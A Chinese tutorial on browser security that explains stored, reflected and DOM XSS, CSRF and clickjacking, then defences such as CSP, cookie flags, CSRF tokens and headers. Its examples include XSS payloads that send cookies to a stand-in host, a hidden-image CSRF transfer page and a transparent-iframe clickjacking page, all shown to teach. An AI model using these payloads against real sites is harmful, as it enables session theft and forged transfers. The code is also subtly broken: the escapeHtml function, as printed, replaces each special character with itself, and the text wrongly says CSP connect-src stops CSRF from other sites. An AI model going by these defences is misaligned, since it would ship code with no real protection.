你有没有想过:为什么有的网站会被"盗号"?为什么输入个用户名密码,钱就没了?为什么黑客能在你的页面上执行他的代码?
今天,用黑客与门卫的故事,来讲讲浏览器安全。
原文地址
浏览器安全是什么?
为什么浏览器这么危险?
浏览器是最复杂的软件之一。它要:
- 解析执行任意来源的代码
- 处理用户输入
- 访问敏感数据(Cookie、LocalStorage)
- 与服务器通信
这种"大门敞开"的特性,让浏览器成为黑客攻击的首选目标。
主要威胁有哪些?
| 威胁 | 全称 | 危险程度 |
|---|---|---|
| XSS | 跨站脚本攻击 | ⭐⭐⭐⭐⭐ |
| CSRF | 跨站请求伪造 | ⭐⭐⭐⭐ |
| 点击劫持 | iframe 嵌套钓鱼 | ⭐⭐⭐ |
XSS — 在你的页面上执行他的代码
什么是 XSS?
XSS(Cross-Site Scripting)= 跨站脚本攻击。
黑客在你的网站注入他自己的脚本代码,然后在用户的浏览器上执行。
就像坏人溜进了你家厨房,往菜里下了毒。
// 黑客注入的恶意代码
<script>
// 偷走用户的 Cookie
document.location = 'https://hack.com/steal?cookie=' + document.cookie;
</script>
XSS 的三种类型
1. 存储型 XSS — 永久留在数据库
最危险的类型。恶意代码永久存储在服务器上。
就像坏人把毒药放进了餐厅的仓库,所有来吃饭的客人都中招。
攻击流程:
1. 黑客在评论区提交恶意脚本
↓
2. 服务器保存到数据库
↓
3. 其他用户访问页面
↓
4. 服务器从数据库读取并返回恶意脚本
↓
5. 用户浏览器执行脚本,Cookie 被盗
实际例子:
<!-- 黑客在论坛评论框输入:-->
<script>
fetch('https://hack.com/steal?cookie=' + document.cookie);
</script>
<!-- 或者更隐蔽的方式:-->
<img src="x" onerror="fetch('https://hack.com/steal?cookie=' + document.cookie)">
<!-- 服务器把这条评论存进数据库,所有访问该页面的用户都会执行这段代码 -->
2. 反射型 XSS — url 参数反射
恶意代码藏在 URL 参数里,服务器把参数"反射"回页面执行。
就像服务员喊"X先生,您的菜好了",结果 X 先生是黑客伪装的。
攻击流程:
1. 黑客构造恶意 URL
↓
2. 诱导用户点击(钓鱼链接)
↓
3. 服务器把参数反射回页面
↓
4. 浏览器执行恶意脚本
实际例子:
// 服务器端代码(Node.js)
app.get('/search', (req, res) => {
// 直接把查询参数返回给页面
const query = req.query.q;
res.send(`<h1>搜索结果:${query}</h1>`);
});
// 恶意 URL:
// https://search.com/search?q=<script>alert('hacked')</script>
// 服务器返回:
// <h1>搜索结果:<script>alert('hacked')</script></h1>
// 浏览器执行了脚本!
3. DOM 型 XSS — 纯前端表演
完全在浏览器端完成,服务器根本不知道。
就像坏人趁你不注意,在你家的厨房监控摄像头上动了手脚。
攻击流程:
1. 网站的 JS 从 URL 读取参数
↓
2. 用 innerHTML 或类似方法直接插入到页面
↓
3. 恶意参数随 URL 一起发送
↓
4. 浏览器执行插入的恶意代码
实际例子:
// 网站的搜索框 JS 代码
const params = new URLSearchParams(window.location.search);
const search = params.get('q');
document.getElementById('result').innerHTML = '搜索结果: ' + search;
// 恶意 URL:
// https://site.com?q=<img src=x onerror="fetch('https://hack.com/steal?cookie='+document.cookie)">
// 执行流程:
// 1. 浏览器访问这个 URL
// 2. JS 读取 q 参数 = <img src=x onerror="...">
// 3. innerHTML 把这段 HTML 插入到页面
// 4. <img> 加载失败,触发 onerror,执行恶意代码
XSS 能做什么?
| 恶意行为 | 说明 |
|---|---|
| 偷 Cookie | 获取 Session ID |
| 键盘记录 | 监听用户输入的密码 |
| 钓鱼弹窗 | 伪造登录框获取密码 |
| 页面劫持 | 修改页面内容或跳转 |
CSRF — 偷偷替你发送请求
什么是 CSRF?
CSRF(Cross-Site Request Forgery)= 跨站请求伪造。
黑客利用用户的登录状态,偷偷发送请求。
就像坏人拿着你的银行卡,冒充你去银行转账。
攻击流程
攻击流程:
1. 用户登录银行网站,服务器返回 Session Cookie
↓
2. 用户访问恶意网站 evil.com
↓
3. evil.com 的页面包含:<img src="bank.com/transfer?to=hacker&money=10000">
↓
4. 浏览器请求这张图片,自动带上 bank.com 的 Cookie
↓
5. 银行服务器收到请求,以为是用户操作的,执行转账
常见攻击场景
为什么能成功?
// 恶意网站偷偷发送的请求
fetch('https://bank.com/transfer', {
method: 'POST',
body: 'to=hacker&money=10000',
credentials: 'include' // 带上 Cookie
});
// 浏览器访问 evil.com 时,会自动带上 bank.com 的 Cookie
// 服务器无法区分是用户自己发的还是被诱导发的
隐藏图片方式:
<!-- 恶意网站的完整代码 -->
<!DOCTYPE html>
<html>
<head><title>恭喜中奖!</title></head>
<body>
<h1>恭喜!您中了一等奖!</h1>
<img src="https://bank.com/transfer?to=hacker&money=10000" style="display:none">
</body>
</html>
XSS vs CSRF
| 对比 | XSS | CSRF |
|---|---|---|
| 原理 | 在页面执行恶意代码 | 借用用户身份发送请求 |
| 目的 | 获取用户数据 | 代表用户执行操作 |
| 关键 | 需要 JavaScript 执行 | 需要用户已登录 |
XSS vs CSRF:
┌─────────────────────────────────────────┐
│ XSS(跨站脚本) │
│ 黑客 → 注入脚本到你的页面 → 偷数据 │
├─────────────────────────────────────────┤
│ CSRF(跨站请求) │
│ 黑客 → 借用你的身份 → 替你操作 │
└─────────────────────────────────────────┘
点击劫持 — 透明的陷阱
什么是点击劫持?
黑客把自己网站透明的覆盖在你的网站上,诱导用户点击。
就像坏人用一层透明的塑料薄膜盖在你的门上,用户以为在点自己的门,实际点是坏人的按钮。
攻击流程
攻击流程:
1. 黑客制作恶意网站
↓
2. 在页面中用 iframe 嵌入目标网站(设为透明)
↓
3. 在 iframe 上覆盖一个可见的按钮("免费领奖")
↓
4. 用户看到按钮并点击
↓
5. 实际点击的是 iframe 里的目标网站按钮
实际例子
<!DOCTYPE html>
<html>
<head><title>免费领礼品</title></head>
<body>
<!-- 覆盖层:诱导用户点击 -->
<button style="position:absolute; top:100px; left:50px; z-index:1;">
免费领取iPhone!
</button>
<!-- 透明的 iframe:嵌入银行网站 -->
<iframe src="https://bank.com/transfer"
style="opacity:0; position:absolute; top:95px; left:45px; z-index:0;">
</iframe>
</body>
</html>
用户看到"免费领iPhone"按钮,点击时实际触发的是银行转账按钮。
CSP — 浏览器的安全门卫
什么是 CSP?
CSP(Content Security Policy)= 内容安全策略。
一种 HTTP 响应头,告诉浏览器哪些来源可以执行。
就像餐厅门口贴告示:"本店只接受来自厨房的菜,其他来源的一律不收"。
Content-Security-Policy: default-src 'self'; script-src 'self' js.example.com; style-src 'self' css.example.com
CSP 能防止什么?
| CSP 指令 | 作用 |
|---|---|
script-src | 控制 JavaScript 来源 |
style-src | 控制 CSS 来源 |
img-src | 控制图片来源 |
connect-src | 控制 fetch/ajax 来源 |
frame-src | 控制 iframe 来源 |
CSP 防止 XSS
# 不允许内联脚本
Content-Security-Policy: script-src 'self'
# ❌ XSS 注入的脚本会被阻止
<script>alert('xss')</script>
# ✅ 有效 - 浏览器拒绝执行
CSP 防止 CSRF
# 限制 AJAX 和 fetch 的目标
Content-Security-Policy: connect-src 'self' https://api.example.com
# ❌ 恶意请求被阻止
fetch('https://bank.com/transfer?to=hacker')
# ✅ 有效 - 只能请求指定域名
fetch('https://api.example.com/data')
Cookie 的保护
HttpOnly — 禁止 JavaScript 访问
就像给你的会员卡加个锁,只有服务员能刷,你自己也看不见。
Set-Cookie: sessionId=abc123; HttpOnly
HttpOnly 保护原理:
┌─────────────────────────────────────┐
│ Cookie: sessionId=abc123; HttpOnly │
├─────────────────────────────────────┤
│ JavaScript 访问 document.cookie │ → ❌ 被禁止
│ 浏览器发请求自动携带 │ → ✅ 正常
└─────────────────────────────────────┘
Samesite — Cookie 的出场规则
| 值 | 说明 | 防护效果 |
|---|---|---|
Strict | 仅同站请求携带 | 🛡️ 最安全 |
Lax | GET/导航携带,POST/fetch 不带 | 🛡️ 较好 |
None | 任何请求都携带 | ❌ 无保护 |
# 推荐:Lax 模式
Set-Cookie: sessionId=abc123; SameSite=Lax
Samesite 防止 CSRF
就像银行的VIP室:只有你亲自到场(GET导航)才能进,自动取款机(POST表单)不认你的卡。
Samesite=Lax 防护效果:
┌────────────────────────────────────────────┐
│ <a href="bank.com转账">点我</a> GET 导航 │ → ✅ 带 Cookie
│ <form action="bank.com转账" method="POST"> │ → ❌ 不带 Cookie
│ fetch('bank.com/api') │ → ❌ 不带 Cookie
└────────────────────────────────────────────┘
CSRF Token — 双重保护
什么是 CSRF Token?
服务器生成的随机令牌,必须携带才有效。
就像网银的动态口令:每次转账都要输入不同的验证码。
CSRF Token 工作流程:
┌─────────────────────────────────────────────────┐
│ 1. 用户访问表单页面 │
│ 服务器生成随机 Token,存入 Session │
│ 表单中隐藏: <input name="csrf" value="Token"> │
├─────────────────────────────────────────────────┤
│ 2. 用户提交表单 │
│ 发送: POST /transfer + csrf=Token │
├─────────────────────────────────────────────────┤
│ 3. 服务器验证 Token │
│ ✅ 匹配 → 执行操作 │
│ ❌ 不匹配 → 拒绝请求 │
└─────────────────────────────────────────────────┘
代码实现
<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token" value="abc123xyz">
目标账户: <input type="text" name="to">
金额: <input type="number" name="money">
<button type="submit">转账</button>
</form>
// 服务器端验证(Node.js 为例)
app.post('/transfer', (req, res) => {
const sessionToken = req.session.csrfToken;
const submittedToken = req.body.csrf_token;
if (sessionToken !== submittedToken) {
return res.status(403).json({ error: 'CSRF 验证失败' });
}
doTransfer(req.body.to, req.body.money);
});
安全 Headers
常用安全响应头
| Header | 作用 |
|---|---|
| CSP | 内容安全策略 |
| X-Frame-Options | 防止 iframe 嵌套 |
| X-Content-Type-Options | 禁止 MIME 嗅探 |
| Strict-Transport-Security | 强制 HTTPS |
| Referrer-Policy | 控制 Referer 头 |
X-Frame-Options — 防点击劫持
X-Frame-Options: DENY # 完全禁止嵌套
X-Frame-Options: SAMEORIGIN # 仅允许同域名嵌套
X-Content-Type-Options — 防 MIME 嗅探
X-Content-Type-Options: nosniff
编写安全代码
XSS 防护
// ❌ 危险 - innerHTML 直接拼接
element.innerHTML = userInput;
// ✅ 安全 - 使用 textContent
element.textContent = userInput;
// ✅ 安全 - 使用框架
// React、Vue 默认自动转义
// 手动转义函数
function escapeHtml(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
element.innerHTML = escapeHtml(userInput);
CSRF 防护
// ✅ 同时使用多种防护
// 1. CSRF Token
// 2. Samesite Cookie
// 3. 敏感操作验证码
输入验证
// ✅ 永远不要相信用户输入
// 白名单验证
function isValidUsername(username) {
return /^[a-zA-Z0-9_]{3,20}$/.test(username);
}
// 类型转换 + 范围检查
const age = parseInt(req.body.age, 10);
if (isNaN(age) || age < 0 || age > 150) {
return res.status(400).json({ error: '年龄无效' });
}
// 长度限制
if (req.body.content.length > 1000) {
return res.status(400).json({ error: '内容过长' });
}
总结
攻击与防御对照
| 攻击 | 防御手段 |
|---|---|
| 存储型 XSS | CSP + 输入转义 + HttpOnly |
| 反射型 XSS | CSP + URL 转义 |
| DOM 型 XSS | 避免 innerHTML + 安全 API |
| CSRF | CSRF Token + Samesite Cookie |
| 点击劫持 | X-Frame-Options |
安全 checklist
✅ 输入验证:所有用户输入都验证
✅ 输出转义:插入到 HTML 前转义
✅ HttpOnly Cookie:敏感 Cookie 加 HttpOnly
✅ CSRF Token:表单和 AJAX 请求加 Token
✅ Samesite Cookie:敏感操作用 Lax/Strict
✅ CSP 策略:配置严格的内容安全策略
✅ 安全 Headers:X-Frame-Options 等
✅ 框架使用:避免手动拼接 HTML
写在最后
现在你知道了:
- XSS 是黑客在你页面注入代码,偷数据
- CSRF 是黑客借用你的身份发请求
- 点击劫持 是用透明 iframe 诱导你点击
- CSP 是浏览器的内容安全策略
- HttpOnly/Samesite 保护 Cookie 不被偷
- CSRF Token 确保请求真的是你发的
- 永远不要相信用户输入,转义是基本素养
下次遇到安全漏洞,你应该能一眼识破了吧?